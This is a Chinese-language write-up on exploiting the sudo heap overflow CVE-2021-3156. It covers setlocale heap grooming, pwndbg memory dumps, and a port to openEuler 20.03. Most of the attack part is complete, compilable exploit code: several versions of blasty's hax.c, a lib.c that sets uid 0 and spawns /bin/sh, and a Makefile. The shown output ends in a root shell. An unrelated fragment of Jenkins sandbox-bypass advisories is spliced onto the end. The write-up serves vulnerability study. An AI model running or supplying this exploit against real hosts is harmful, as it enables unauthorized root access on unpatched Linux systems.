= _nl_make_l10nflist (l10nfile_list, dir, strlen (dir) + 1, cnt,
language, territory, codeset,
normalized_codeset, modifier, filename, 1);
}
//...
return retval;
}
从上面的源码来看`setlocale`函数，如果传入的参数是`NULL`，那么就会返回`_nl_global_locale.__names`数组中对应的值即相应的`LC_*`的值。如果传入的参数是`“”`，那么就会根据环境变量设置`_nl_global_locale.__names`中的值，函数最主要的是进入了一个`while`循环，每次调用`_nl_find_locale`函数首先从环境变量中按照优先级顺序加载相应的环境变量，然后根据环境变量从`/usr/lib/locale`中查找有没有对应的文件，这里会根据`mask`的值控制加载的优先级，加载文件，如果没有对应的文件就会返回`NULL`。
> 这里比如LC_COLLATE=C.UTF-8[@aaaa](https://github.com/aaaa
> "@aaaa")，如果/usr/lib/locale/C.UTF-8[@aaaa](https://github.com/aaaa
> "@aaaa")/LC_COLLATE文件存在的话，那么就加载这个文件，否则就加载/usr/lib/locale/C.UTF-8/LC_COLLATE文件，当然这里有很多的路径选择，不止这两个。
当`_nl_find_locale`函数返回的为`NULL`的时候，`while`循环就会终止，此时`category>0`，那么这里就表明加载环境变量出现了错误，会释放之前申请的所有的`newnames`，也就是环境变量中的值比如`C.UTF-8[@aaaa](https://github.com/aaaa
"@aaaa")`。
否则当`while`循环执行完毕之后就会将所有的`_nl_global_locale.__names`数组中对应的值设置为我们输入的值，然后将`LC_ALL`赋值
那么这里的`free`原语就出来了，假如我们想要设置`n`个`size`大小的堆块，那么就设置`n`个环境变量（这里注意顺序，环境变量从后向前开始加载），环境变量的值为`C.UTF-8[@len](https://github.com/len
"@len")`，其中`len`的大小满足`> size-0x20 & < size-0x10`。
这里需要注意的一个问题就是，在进行环境变量加载的过程中会对于每一个不同`size`的堆块，都会释放一个`size+0x10`大小的堆块，这是路径拼接造成的。但是相同`size`大小的会复用同一个堆块，因此在`tcache`中不同`size`大小的堆块只会额外产生`1`个`size+0x10`大小的堆块。需要注意的是对于`size`比较小的堆块，由于`getlocale`中堆块的申请比较多，因此可能会被申请回去，目前可以肯定的是对于`0x80`或者大于`0x80`的附加堆块会保存在`tcache`中。
pwndbg> heapinfo
(0x20) fastbin[0]: 0x0
(0x30) fastbin[1]: 0x0
(0x40) fastbin[2]: 0x0
(0x50) fastbin[3]: 0x0
(0x60) fastbin[4]: 0x0
(0x70) fastbin[5]: 0x0
(0x80) fastbin[6]: 0x0
(0x90) fastbin[7]: 0x0
(0xa0) fastbin[8]: 0x0
(0xb0) fastbin[9]: 0x0
top: 0x555555582580 (size : 0x1da80)
last_remainder: 0x5555555814b0 (size : 0xf90)
unsortbin: 0x5555555814b0 (size : 0xf90)
(0x20) tcache_entry[0](1): 0x5555555814a0
(0x40) tcache_entry[2](3): 0x55555557ff40 --> 0x555555580620 --> 0x555555581380// group files
(0x70) tcache_entry[5](1): 0x555555580cb0 // 环境变量释放产生的0x70堆块
(0x80) tcache_entry[6](1): 0x555555580a90 // user_args堆块，是附加堆块
(0x1e0) tcache_entry[28](1): 0x55555557f2a0
(0x410) tcache_entry[63](1): 0x55555557f500
这里由于`ubuntu 20.04`下面我在调试的时候`execve`执行之后`sudo
main`函数执行之前就会有一个`0x80`的堆块，不知道什么原因，因此这里直接释放`0x80`的堆块会有问题，因此这里我是用附加堆块来实现`0x80`大小的堆块的效果。
拿到上述的堆布局之后就可以将`user_args`长度设置为`0x80`，申请得到`0x555555580a90`堆块，之后就可以覆写`0x555555581380`的`group
files service_user`结构体了。
这里我们看到堆块之间的差值是`0x8f0`，我们需要覆写这些长度。中间这些堆块都是在进行`setlocale`中产生的，对之后的程序进行没有影响，可以直接覆写。根据之前溢出的规则，遇到`\\`就会继续向后读。目前`exp`中参数设置如下
"sudoedit", "-s", smash_a, "\\", smash_b, NULL, envp
参数和环境变量在内存中的表现方式如下
// argv->0x7ffc304d1a18
pwndbg> telescope 0x7ffc304d1a18
00:0000│ rdx 0x7ffc304d1a18 —▸ 0x7ffc304d1df6 ◂— 'sudoedit'
01:0008│ 0x7ffc304d1a20 —▸ 0x7ffc304d1dff ◂— 0x414141414100732d /* '-s' */
02:0010│ 0x7ffc304d1a28 —▸ 0x7ffc304d1e02 ◂— 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\\'
03:0018│ 0x7ffc304d1a30 —▸ 0x7ffc304d1e3c ◂— 0x424242424242005c /* '\\' */
04:0020│ 0x7ffc304d1a38 —▸ 0x7ffc304d1e3e ◂— 'BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB\\'
05:0028│ 0x7ffc304d1a40 ◂— 0x0
06:0030│ 0x7ffc304d1a48 —▸ 0x7ffc304d1e76 ◂— 0x5c005c005c005c /* '\\' */
07:0038│ 0x7ffc304d1a50 —▸ 0x7ffc304d1e78 ◂— 0x5c005c005c005c /* '\\' */
//...
pwndbg>
40:0200│ 0x7ffc304d1c18 —▸ 0x7ffc304d1eea ◂— 0x5c005c005c005c /* '\\' */
41:0208│ 0x7ffc304d1c20 —▸ 0x7ffc304d1eec ◂— 0x5c005c005c005c /* '\\' */
42:0210│ 0x7ffc304d1c28 —▸ 0x7ffc304d1eee ◂— 0x2f58005c005c005c /* '\\' */
43:0218│ 0x7ffc304d1c30 —▸ 0x7ffc304d1ef0 ◂— 0x30502f58005c005c /* '\\' */
44:0220│ 0x7ffc304d1c38 —▸ 0x7ffc304d1ef2 ◂— 0x5f5030502f58005c /* '\\' */
45:0228│ 0x7ffc304d1c40 —▸ 0x7ffc304d1ef4 ◂— 'X/P0P_SH3LLZ_'
46:0230│ 0x7ffc304d1c48 —▸ 0x7ffc304d1f02 ◂— 0x433d4c4c415f434c ('LC_ALL=C')
47:0238│ 0x7ffc304d1c50 ◂— 0x0
需要注意的是栈中每一个参数的结尾依靠的是`\\`。首先第一次复制，遇到`\\`会将`\\, smash_b,
envp`拷贝一遍，然后是第二次复制，参数即为`\\`因此会将`smash_b,envp`拷贝一遍，接着是`smash_b`，由于`smash_b`之后也是`\\`，因此会一直继续拷贝，也就是将`envp`拷贝了一遍。借着就结束拷贝了。也就是说`smash_b,envp`都被拷贝了三遍，`smash_a`被拷贝了一遍。注意到每一次拷贝结束都会在结尾处加`space`即空格（最后一个空格会被覆写为`0`）。在设定`smash_a,smash_b,envp`的长度的时候基本就是`user_args/2`即为`smash_a,smash_b`的值，剩余的值`/3`就是`envp`的长度，不够的话再用`smash_a`的长度进行微调。
当我们覆写完毕`group
service_user`结构体的`name`字段之后，`sudo`会经过一系列的调用直到`nss_load_library`最终打开`getshell`的动态链接库。
关于动态链接库编译有无空格的问题，如果是精准覆写`name`，那么就不需要空格，因为之后会被覆写为`0`，否则就需要空格。
## EXP
/**
** CVE-2021-3156 PoC by blasty <[email protected]>
** ===========================================
**
** Exploit for that sudo heap overflow thing everyone is talking about.
** This one aims for singleshot. Does not fuck with your system files.
** No warranties.
**
** Shout outs to:
** Qualys - for pumping out the awesome bugs
** lockedbyte - for coop hax. (shared tmux gdb sessions ftw)
** dsc - for letting me rack up his electricity bill
** my wife - for all the quality time we had to skip
**
** Enjoy!
**
** -- blasty // 20210130
**/
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <stdint.h>
#include <unistd.h>
#include <ctype.h>
// 512 environment variables should be enough for everyone
#define MAX_ENVP 0x1000
typedef struct {
char *target_name;
char *sudoedit_path;
uint32_t smash_len_a;
uint32_t smash_len_b;
uint32_t null_stomp_len;
uint32_t lc_all_len;
} target_t;
char *lc_names[]={
"LC_COLLATE",
"LC_CTYPE",
"LC_MONETARY",
"LC_NUMERIC",
"LC_TIME",
"LC_MESSAGES",
"LC_PAPER",
"LC_NAME",
"LC_ADDRESS",
"LC_TELEPHONE",
"LC_MEASUREMENT",
"LC_IDENTIFICATION"
};
target_t targets[] = {
{
// Yes, same values as 20.04.1, but also confirmed.
.target_name = "Ubuntu 18.04.5 (Bionic Beaver) - sudo 1.8.21, libc-2.27",
.sudoedit_path = "/usr/bin/sudoedit",
.smash_len_a = 58,
.smash_len_b = 54,
.null_stomp_len = 63,
.lc_all_len = 0x30
// .lc_all_len = 212
},
{
.target_name = "Ubuntu 20.04.1 (Focal Fossa) - sudo 1.8.31, libc-2.31",
.sudoedit_path = "/usr/bin/sudoedit",
.smash_len_a = 58,
.smash_len_b = 54,
.null_stomp_len = 63,
.lc_all_len = 212
},
{
.target_name = "Debian 10.0 (Buster) - sudo 1.8.27, libc-2.28",
.sudoedit_path = "/usr/bin/sudoedit",
.smash_len_a = 64,
.smash_len_b = 49,
.null_stomp_len = 60,
.lc_all_len = 214
}
};
void usage(char *prog) {
printf(" usage: %s <target>\n\n", prog);
printf(" available targets:\n");
printf(" ------------------------------------------------------------\n");
for(int i = 0; i < sizeof(targets) / sizeof(target_t); i++) {
printf(" %d) %s\n", i, targets[i].target_name);
}
printf(" ------------------------------------------------------------\n");
printf("\n");
}
int main(int argc, char *argv[]) {
printf("\n** CVE-2021-3156 PoC by blasty <[email protected]>\n\n");
if (argc != 2) {
usage(argv[0]);
return -1;
}
int target_idx = atoi(argv[1]);
if (target_idx < 0 || target_idx >= (sizeof(targets) / sizeof(target_t))) {
fprintf(stderr, "invalid target index\n");
return -1;
}
target_t *target = &targets[ target_idx ];
printf("using target: '%s'\n", target->target_name);
char *smash_a = calloc(target->smash_len_a + 2, 1);
char *smash_b = calloc(target->smash_len_b + 2, 1);
memset(smash_a, 'A', target->smash_len_a);
memset(smash_b, 'B', target->smash_len_b);
smash_a[target->smash_len_a] = '\\';
smash_b[target->smash_len_b] = '\\';
char *s_argv[]={
// "sudoedit", "-s", smash_a, "\\", NULL
// "sudoedit", "-s", smash_a, NULL
"sudoedit", "-s", smash_a, "\\", smash_b, NULL
};
char *s_envp[MAX_ENVP];
int envp_pos = 0;
for(int i = 0; i < (0x2b6); i++) {
s_envp[envp_pos++] = "\\";
}
s_envp[envp_pos++] = "X/P0P_SH3LLZ_";
int lc_len = 0x20;
int lc_num = 2;
int i = 0;
char *temp=NULL;
for(i = 11; i > (11 - lc_num); i--){
temp = calloc(lc_len + strlen(lc_names[i]) + 10, 1);
strcpy(temp, lc_names[i]);
strcpy(temp + strlen(lc_names[i]), "=C.UTF-8@");
memset(temp+strlen(lc_names[i]) + 9, 'A'+i, lc_len);
s_envp[envp_pos++] = temp;
}
temp = calloc(0x50 + strlen(lc_names[i]) + 10, 1);
strcpy(temp, lc_names[i]);
strcpy(temp + strlen(lc_names[i]), "=C.UTF-8@");
memset(temp+strlen(lc_names[i]) + 9, 'A'+i, 0x50);
s_envp[envp_pos++] = temp;
i -= 1;
// temp = calloc(0x60 + strlen(lc_names[i]) + 10, 1);
// strcpy(temp, lc_names[i]);
// strcpy(temp + strlen(lc_names[i]), "=C.UTF-8@");
// memset(temp+strlen(lc_names[i]) + 9, 'A'+i, 0x60);
// s_envp[envp_pos++] = temp;
//
// i -= 1;
temp = calloc(lc_len + strlen(lc_names[i]) + 10, 1);
strcpy(temp, lc_names[i]);
strcpy(temp + strlen(lc_names[i]), "=C.UTF-8@");
memset(temp+strlen(lc_names[i]) + 9, 'A'+i, lc_len);
s_envp[envp_pos++] = temp;
i-=1;
temp = calloc(lc_len + strlen(lc_names[i]) + 10, 1);
strcpy(temp, lc_names[i]);
strcpy(temp + strlen(lc_names[i]), "=XXXXXXXX");
memset(temp+strlen(lc_names[i]) + 9, 'A'+i, lc_len);
s_envp[envp_pos++] = temp;
s_envp[envp_pos++] = NULL;
printf("** pray for your rootshell.. **\n");
execve(target->sudoedit_path, s_argv, s_envp);
// execve(target->sudoedit_path, s_argv, NULL);
return 0;
}
这里的`exp`与原始的`exp`不同，原始的`exp`是用`LC_ALL`此时会在`sudo_conf_read`函数中调用`setlocale(LC_ALL,
"C"),setlocale(LC_ALL,
prev_locale)`会申请和释放大量的堆块，此时也会释放`_nl_global_locale.__names`中保存的堆块地址其实就是`newnames`中的堆块地址也就是存储我们环境变量值的堆块，通过释放大量的`0xf0`堆块进入`unsorted
bin`，然后再申请`0x20`的时候，制造一个`0xd0`大小的`small bin`。此时还会有一个`unsorted
bin`，由于在`get_user_info`会申请一个`0x80,0x1000`的堆块，此时`small bin,unsorted
bin`会互换位置，也就是`0x80`大小的堆块和`group files service_user`会在`unsorted
bin`相邻的位置申请，非常的巧妙。
初始的`exp`，`lib`，`Makefile`如下
//hax.c
/**
** CVE-2021-3156 PoC by blasty <[email protected]>
** ===========================================
**
** Exploit for that sudo heap overflow thing everyone is talking about.
** This one aims for singleshot. Does not fuck with your system files.
** No warranties.
**
** Shout outs to:
** Qualys - for pumping out the awesome bugs
** lockedbyte - for coop hax. (shared tmux gdb sessions ftw)
** dsc - for letting me rack up his electricity bill
** my wife - for all the quality time we had to skip
**
** Enjoy!
**
** -- blasty // 20210130
**/
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <stdint.h>
#include <unistd.h>
#include <ctype.h>
// 512 environment variables should be enough for everyone
#define MAX_ENVP 512
typedef struct {
char *target_name;
char *sudoedit_path;
uint32_t smash_len_a;
uint32_t smash_len_b;
uint32_t null_stomp_len;
uint32_t lc_all_len;
} target_t;
target_t targets[] = {
{
// Yes, same values as 20.04.1, but also confirmed.
.target_name = "Ubuntu 18.04.5 (Bionic Beaver) - sudo 1.8.21, libc-2.27",
.sudoedit_path = "/usr/bin/sudoedit",
.smash_len_a = 56,
.smash_len_b = 54,
.null_stomp_len = 63,
.lc_all_len = 212
},
{
.target_name = "Ubuntu 20.04.1 (Focal Fossa) - sudo 1.8.31, libc-2.31",
.sudoedit_path = "/usr/bin/sudoedit",
.smash_len_a = 56,
.smash_len_b = 54,
.null_stomp_len = 63,
.lc_all_len = 212
},
{
.target_name = "Debian 10.0 (Buster) - sudo 1.8.27, libc-2.28",
.sudoedit_path = "/usr/bin/sudoedit",
.smash_len_a = 64,
.smash_len_b = 49,
.null_stomp_len = 60,
.lc_all_len = 214
}
};
void usage(char *prog) {
printf(" usage: %s <target>\n\n", prog);
printf(" available targets:\n");
printf(" ------------------------------------------------------------\n");
for(int i = 0; i < sizeof(targets) / sizeof(target_t); i++) {
printf(" %d) %s\n", i, targets[i].target_name);
}
printf(" ------------------------------------------------------------\n");
printf("\n");
}
int main(int argc, char *argv[]) {
printf("\n** CVE-2021-3156 PoC by blasty <[email protected]>\n\n");
if (argc != 2) {
usage(argv[0]);
return -1;
}
int target_idx = atoi(argv[1]);
if (target_idx < 0 || target_idx >= (sizeof(targets) / sizeof(target_t))) {
fprintf(stderr, "invalid target index\n");
return -1;
}
target_t *target = &targets[ target_idx ];
printf("using target: '%s'\n", target->target_name);
char *smash_a = calloc(target->smash_len_a + 2, 1);
char *smash_b = calloc(target->smash_len_b + 2, 1);
memset(smash_a, 'A', target->smash_len_a);
memset(smash_b, 'B', target->smash_len_b);
smash_a[target->smash_len_a] = '\\';
smash_b[target->smash_len_b] = '\\';
char *s_argv[]={
"sudoedit", "-s", smash_a, "\\", smash_b, NULL
};
char *s_envp[MAX_ENVP];
int envp_pos = 0;
for(int i = 0; i < target->null_stomp_len; i++) {
s_envp[envp_pos++] = "\\";
}
s_envp[envp_pos++] = "X/P0P_SH3LLZ_";
char *lc_all = calloc(target->lc_all_len + 16, 1);
strcpy(lc_all, "LC_ALL=C.UTF-8@");
memset(lc_all+15, 'C', target->lc_all_len);
s_envp[envp_pos++] = lc_all;
s_envp[envp_pos++] = NULL;
printf("** pray for your rootshell.. **\n");
execve(target->sudoedit_path, s_argv, s_envp);
return 0;
}
//lib.c
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
static void __attribute__ ((constructor)) _init(void);
static void _init(void) {
printf("[+] bl1ng bl1ng! We got it!\n");
setuid(0); seteuid(0); setgid(0); setegid(0);
static char *a_argv[] = { "sh", NULL };
static char *a_envp[] = { "PATH=/bin:/usr/bin:/sbin", NULL };
execv("/bin/sh", a_argv);
}
all:
rm -rf libnss_X
mkdir libnss_X
gcc -o sudo-hax-me-a-sandwich hax.c
gcc -fPIC -shared -o 'libnss_X/P0P_SH3LLZ_.so.2' lib.c
clean:
rm -rf libnss_X sudo-hax-me-a-sandwich
## For open euler 20.03
系统类似于`centos`，我们看一下`/etc/nsswitch.conf`即配置文件
passwd: sss files systemd
shadow: files sss
group: sss files systemd
hosts: files dns myhostname
bootparams: files
ethers: files
netmasks: files
networks: files
protocols: files
rpc: files
services: files sss
netgroup: sss
publickey: files
automount: files sss
aliases: files
可以看到这里的顺序和服务规范和`ubuntu`下面不一样，因此这里的堆布局与`ubuntu`也不相同。我们先看一下系统的调用逻辑是否发生了改变。经过调试发现其调用逻辑与`ubuntu`下相同
我们将`ni`结构体手动修改如下
pwndbg> p *ni
$4 = {
next = 0x0,
actions = {NSS_ACTION_CONTINUE, NSS_ACTION_CONTINUE, NSS_ACTION_CONTINUE, NSS_ACTION_CONTINUE, NSS_ACTION_CONTINUE},
library = 0x555555582be0,
known = 0x555555592b30,
name = 0x5555555861a0 "X/P0P_SH3LLZ_ "
}
pwndbg> p shlib_name
$5 = 0x7fffffffdeb0 "libnss_X/P0P_SH3LLZ_ .so.2"
经过手动修改的`ni`结构体，这里继续执行就会`getshell`。
pwndbg> c
Continuing.
[+] bl1ng bl1ng! We got it!
process 123212 is executing new program: /usr/bin/bash
Error in re-setting breakpoint 2: No source file named sudo.c.
Error in re-setting breakpoint 3: No source file named sudo.c.
Error in re-setting breakpoint 4: No source file named sudo.c.
那么接下来的问题就是如何复习这个结构体了，与`ubuntu`覆写`files service_user`不同，这里需要覆写的是`sss
service_user`结构体，但是两者没有本质的区别都是`group`的第一个结构体，唯一不同的就是分配到`group`服务规范的结构体之前`get_user_info`所分配的堆块的数量，我们调试一下
malloc(0x100)
malloc(0x400)
malloc(0x228) // tcache
malloc(0x10)
malloc(0x78)// 目标0x80堆块
malloc(0x1000)
malloc(0x17) // 开始为passwd分配service_user // tcache
malloc(0x34)
malloc(0x36)
malloc(0x38)
malloc(0x17) // 开始为shadow分配service_user
malloc(0x36)
malloc(0x34)
malloc(0x16)// 开始为group分配service_user
malloc(0x34)// 这里就是sss service_user的结构体
这里我们需要提前布置`6`个`0x40`大小的堆块，和一个`0xc0`大小的堆块（这里布置`0x80`的堆块不合适，因为之后会被申请并更换为高地址的`0x80`堆块，经过测试`0xc0`大小的堆块可以。）
### EXP
/**
** CVE-2021-3156 PoC by blasty <[email protected]>
** ===========================================
**
** Exploit for that sudo heap overflow thing everyone is talking about.
** This one aims for singleshot. Does not fuck with your system files.
** No warranties.
**
** Shout outs to:
** Qualys - for pumping out the awesome bugs
** lockedbyte - for coop hax. (shared tmux gdb sessions ftw)
** dsc - for letting me rack up his electricity bill
** my wife - for all the quality time we had to skip
**
** Enjoy!
**
** -- blasty // 20210130
**/
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <stdint.h>
#include <unistd.h>
#include <ctype.h>
// 512 environment variables should be enough for everyone
#define MAX_ENVP 0x1000
typedef struct {
char *target_name;
char *sudoedit_path;
uint32_t smash_len_a;
uint32_t smash_len_b;
uint32_t null_stomp_len;
uint32_t lc_all_len;
} target_t;
char *lc_names[]={
"LC_COLLATE",
"LC_CTYPE",
"LC_MONETARY",
"LC_NUMERIC",
"LC_TIME",
"LC_MESSAGES",
"LC_PAPER",
"LC_NAME",
"LC_ADDRESS",
"LC_TELEPHONE",
"LC_MEASUREMENT",
"LC_IDENTIFICATION"
};
target_t targets[] = {
{
// Yes, same values as 20.04.1, but also confirmed.
.target_name = "Ubuntu 18.04.5 (Bionic Beaver) - sudo 1.8.21, libc-2.27",
.sudoedit_path = "/usr/bin/sudoedit",
.smash_len_a = 0x53,
.smash_len_b = 0x54,
.null_stomp_len = 63,
.lc_all_len = 0x30
// .lc_all_len = 212
},
{
.target_name = "Ubuntu 20.04.1 (Focal Fossa) - sudo 1.8.31, libc-2.31",
.sudoedit_path = "/usr/local/bin/sudoedit",
.smash_len_a = 56,
.smash_len_b = 54,
.null_stomp_len = 63,
.lc_all_len = 212
},
{
.target_name = "Debian 10.0 (Buster) - sudo 1.8.27, libc-2.28",
.sudoedit_path = "/usr/bin/sudoedit",
.smash_len_a = 64,
.smash_len_b = 49,
.null_stomp_len = 60,
.lc_all_len = 214
},
{
// Yes, same values as 20.04.1, but also confirmed.
.target_name = "openEuler release 20.03 (LTS) - sudo 1.8.27, libc-2.28",
.sudoedit_path = "/usr/bin/sudoedit",
.smash_len_a = 0x53,
.smash_len_b = 0x54,
.null_stomp_len = 0x185,
.lc_all_len = 0xa0
// .lc_all_len = 212
},
};
void usage(char *prog) {
printf(" usage: %s <target>\n\n", prog);
printf(" available targets:\n");
printf(" ------------------------------------------------------------\n");
for(int i = 0; i < sizeof(targets) / sizeof(target_t); i++) {
printf(" %d) %s\n", i, targets[i].target_name);
}
printf(" ------------------------------------------------------------\n");
printf("\n");
}
int main(int argc, char *argv[]) {
printf("\n** CVE-2021-3156 PoC by blasty <[email protected]>\n\n");
if (argc != 2) {
usage(argv[0]);
return -1;
}
int target_idx = atoi(argv[1]);
if (target_idx < 0 || target_idx >= (sizeof(targets) / sizeof(target_t))) {
fprintf(stderr, "invalid target index\n");
return -1;
}
target_t *target = &targets[ target_idx ];
printf("using target: '%s'\n", target->target_name);
char *smash_a = calloc(target->smash_len_a + 2, 1);
char *smash_b = calloc(target->smash_len_b + 2, 1);
memset(smash_a, 'A', target->smash_len_a);
memset(smash_b, 'B', target->smash_len_b);
smash_a[target->smash_len_a] = '\\';
smash_b[target->smash_len_b] = '\\';
char *s_argv[]={
// "sudoedit", "-s", smash_a, "\\", NULL
// "sudoedit", "-s", smash_a, NULL
"sudoedit", "-s", smash_a, "\\", smash_b, NULL
};
char *s_envp[MAX_ENVP];
int envp_pos = 0;
for(int i = 0; i < target->null_stomp_len; i++) {
s_envp[envp_pos++] = "\\";
}
s_envp[envp_pos++] = "X/P0P_SH3LLZ_";
int lc_len = 0x20;
int lc_num = 0x5;
int i = 0;
char *temp=NULL;
for(i = 11; i > (11 - lc_num); i--){
temp = calloc(lc_len + strlen(lc_names[i]) + 10, 1);
strcpy(temp, lc_names[i]);
strcpy(temp + strlen(lc_names[i]), "=C.UTF-8@");
memset(temp+strlen(lc_names[i]) + 9, 'A'+i, lc_len);
s_envp[envp_pos++] = temp;
}
temp = calloc(target->lc_all_len + strlen(lc_names[i]) + 10, 1);
strcpy(temp, lc_names[i]);
strcpy(temp + strlen(lc_names[i]), "=C.UTF-8@");
memset(temp+strlen(lc_names[i]) + 9, 'A'+i, target->lc_all_len);
s_envp[envp_pos++] = temp;
i -= 1;
// temp = calloc(0x60 + strlen(lc_names[i]) + 10, 1);
// strcpy(temp, lc_names[i]);
// strcpy(temp + strlen(lc_names[i]), "=C.UTF-8@");
// memset(temp+strlen(lc_names[i]) + 9, 'A'+i, 0x60);
// s_envp[envp_pos++] = temp;
//
// i -= 1;
temp = calloc(lc_len + strlen(lc_names[i]) + 10, 1);
strcpy(temp, lc_names[i]);
strcpy(temp + strlen(lc_names[i]), "=C.UTF-8@");
memset(temp+strlen(lc_names[i]) + 9, 'A'+i, lc_len);
s_envp[envp_pos++] = temp;
i-=1;
if (target_idx == 3){
temp = calloc(0xd0 + strlen(lc_names[i]) + 10, 1);
strcpy(temp, lc_names[i]);
strcpy(temp + strlen(lc_names[i]), "=C.UTF-8@");
memset(temp+strlen(lc_names[i]) + 9, 'A'+i, 0xd0);
s_envp[envp_pos++] = temp;
i -= 1;
}
temp = calloc(lc_len + strlen(lc_names[i]) + 10, 1);
strcpy(temp, lc_names[i]);
strcpy(temp + strlen(lc_names[i]), "=XXXXXXXX");
memset(temp+strlen(lc_names[i]) + 9, 'A'+i, lc_len);
s_envp[envp_pos++] = temp;
s_envp[envp_pos++] = NULL;
printf("** pray for your rootshell.. **\n");
execve(target->sudoedit_path, s_argv, s_envp);
// execve(target->sudoedit_path, s_argv, NULL);
return 0;
}
[normal@172 CVE-2021-3156_blasty]$ ./sudo-hax-me-a-sandwich 3
** CVE-2021-3156 PoC by blasty <[email protected]>
using target: 'openEuler release 20.03 (LTS) - sudo 1.8.27, libc-2.28'
** pray for your rootshell.. **
[+] bl1ng bl1ng! We got it!
sh-5.0# exit
exit
## Patch
[patch 049ad90590be](https://www.sudo.ws/repos/sudo/rev/049ad90590be)
--- a/plugins/sudoers/sudoers.c Sat Jan 23 08:43:59 2021 -0700
+++ b/plugins/sudoers/sudoers.c Sat Jan 23 08:43:59 2021 -0700
@@ -547,7 +547,7 @@
/* If run as root with SUDO_USER set, set sudo_user.pw to that user. */
/* XXX - causes confusion when root is not listed in sudoers */
- if (sudo_mode & (MODE_RUN | MODE_EDIT) && prev_user != NULL) {
+ if (ISSET(sudo_mode, MODE_RUN|MODE_EDIT) && prev_user != NULL) {
if (user_uid == 0 && strcmp(prev_user, "root") != 0) {
struct passwd *pw;
@@ -932,8 +932,8 @@
if (user_cmnd == NULL)
user_cmnd = NewArgv[0];
- if (sudo_mode & (MODE_RUN | MODE_EDIT | MODE_CHECK)) {
- if (ISSET(sudo_mode, MODE_RUN | MODE_CHECK)) {
+ if (ISSET(sudo_mode, MODE_RUN|MODE_EDIT|MODE_CHECK)) {
+ if (!ISSET(sudo_mode, MODE_EDIT)) {
const char *runchroot = user_runchroot;
if (runchroot == NULL && def_runchroot != NULL &&
strcmp(def_runchroot, "*") != 0)
@@ -961,7 +961,8 @@
sudo_warnx(U_("%s: %s"), __func__, U_("unable to allocate memory"));
debug_return_int(NOT_FOUND_ERROR);
}
- if (ISSET(sudo_mode, MODE_SHELL|MODE_LOGIN_SHELL)) {
+ if (ISSET(sudo_mode, MODE_SHELL|MODE_LOGIN_SHELL) &&
+ ISSET(sudo_mode, MODE_RUN)) {
/*
* When running a command via a shell, the sudo front-end
* escapes potential meta chars. We unescape non-spaces
@@ -969,10 +970,22 @@
*/
for (to = user_args, av = NewArgv + 1; (from = *av); av++) {
while (*from) {
- if (from[0] == '\\' && !isspace((unsigned char)from[1]))
+ if (from[0] == '\\' && from[1] != '\0' &&
+ !isspace((unsigned char)from[1])) {
from++;
+ }
+ if (size - (to - user_args) < 1) {
+ sudo_warnx(U_("internal error, %s overflow"),
+ __func__);
+ debug_return_int(NOT_FOUND_ERROR);
+ }
*to++ = *from++;
}
+ if (size - (to - user_args) < 1) {
+ sudo_warnx(U_("internal error, %s overflow"),
+ __func__);
+ debug_return_int(NOT_FOUND_ERROR);
+ }
*to++ = ' ';
}
*--to = '\0';
`patch`检查了参数是否以反斜杠结尾，并在拷贝过程中对溢出进行了检测。
## 补充
针对利用`1`，我这里没有调试出来，有大佬知道是咋回事嘛，23333
我调试过程中发现没有进入`process_hooks_getenv`的路径，看源码分析，`github`中的`exp`执行的是`SUDO_EDITOR`，从源码中来看应该是位于`find_editor`函数中
char *
find_editor(int nfiles, char **files, int *argc_out, char ***argv_out,
char * const *whitelist, const char **env_editor, bool env_error)
{
char *ev[3], *editor_path = NULL;
unsigned int i;
debug_decl(find_editor, SUDOERS_DEBUG_UTIL)
/*
* If any of SUDO_EDITOR, VISUAL or EDITOR are set, choose the first one.
*/
*env_editor = NULL;
ev[0] = "SUDO_EDITOR";
ev[1] = "VISUAL";
ev[2] = "EDITOR";
for (i = 0; i < nitems(ev); i++) {
char *editor = getenv(ev[i]);
//...
}
而该函数在申请完`user_args`堆块之后的调用发现
/* Require a password if sudoers says so. */
switch (check_user(validated, sudo_mode)) {
case true:
/* user authenticated successfully. */
break;
case false:
/* Note: log_denial() calls audit for us. */
if (!ISSET(validated, VALIDATE_SUCCESS)) {
/* Only display a denial message if no password was read. */
if (!log_denial(validated, def_passwd_tries <= 0))
goto done;
}
goto bad;
default:
/* some other error, ret is -1. */
goto done;
}
//...
free(safe_cmnd);
safe_cmnd = find_editor(NewArgc - 1, NewArgv + 1, &edit_argc,
&edit_argv, NULL, &env_editor, false);
但是该函数的调用是位于`check_user`函数之后的，该函数经过调试发现需要满足两个条件，一个是密码输入正确，另一个就是用户需要在`sudo`列表中，但是满足这个条件的话就不要提权了。
另外还有调用就是`visudo`和`plugin/sample`了。
原文章中写的环境变量为`SYSTEMD_BYPASS_USERDB`，搜索了一下该环境变量是位于`systemd`中，不知道怎么发生调用。所以现在卡住了。
## 参考
[区域设置](https://zh.wikipedia.org/wiki/%E5%8C%BA%E5%9F%9F%E8%AE%BE%E7%BD%AE)
[Sudo Heap-Based Buffer
Overflow](https://packetstormsecurity.com/files/161160/Sudo-Heap-Based-Buffer-Overflow.html)
[CVE-2021-3156 PoC](https://github.com/blasty/CVE-2021-3156) | 社区文章 |
### [1] CVE-2019-1003031：[Jenkins]Matrix Project Plugin 沙箱绕过
Matrix Project插件用于构建“多配置项目”，如多环境测试、平台指定构建等。
在其配置过程中接受用户指定的Groovy Script，在Matrix Project Plugin <= 1.13中存在沙箱被绕过的漏洞。
影响版本：Matrix Project Plugin <= 1.13
利用条件：具有Job/Configure 权限的用户
修复建议：升级到1.14或以上
参考：
<https://jenkins.io/security/advisory/2019-03-06/#SECURITY-1339>
<https://nvd.nist.gov/vuln/detail/CVE-2019-1003031>
### [2] CVE-2019-1003029：[Jenkins]Script Security Plugin 沙箱绕过
Script Security插件集成在Jenkins的各种功能插件（比如Matrix
Project插件）中，可以用来管理普通用户执行Groovy脚本的权限。
Jenkins的Script Security插件 <= 1.53中存在沙箱被绕过的漏洞。
影响版本：Script Security Plugin <= 1.53
利用条件：具有Overall/Read 权限的用户
修复建议：升级到1.54或以上（考虑到CVE-2019-1003040，需升级到1.56或以上）
参考：
<https://jenkins.io/security/advisory/2019-03-06/#SECURITY-1336>
<https://nvd.nist.gov/vuln/detail/CVE-2019-1003029>
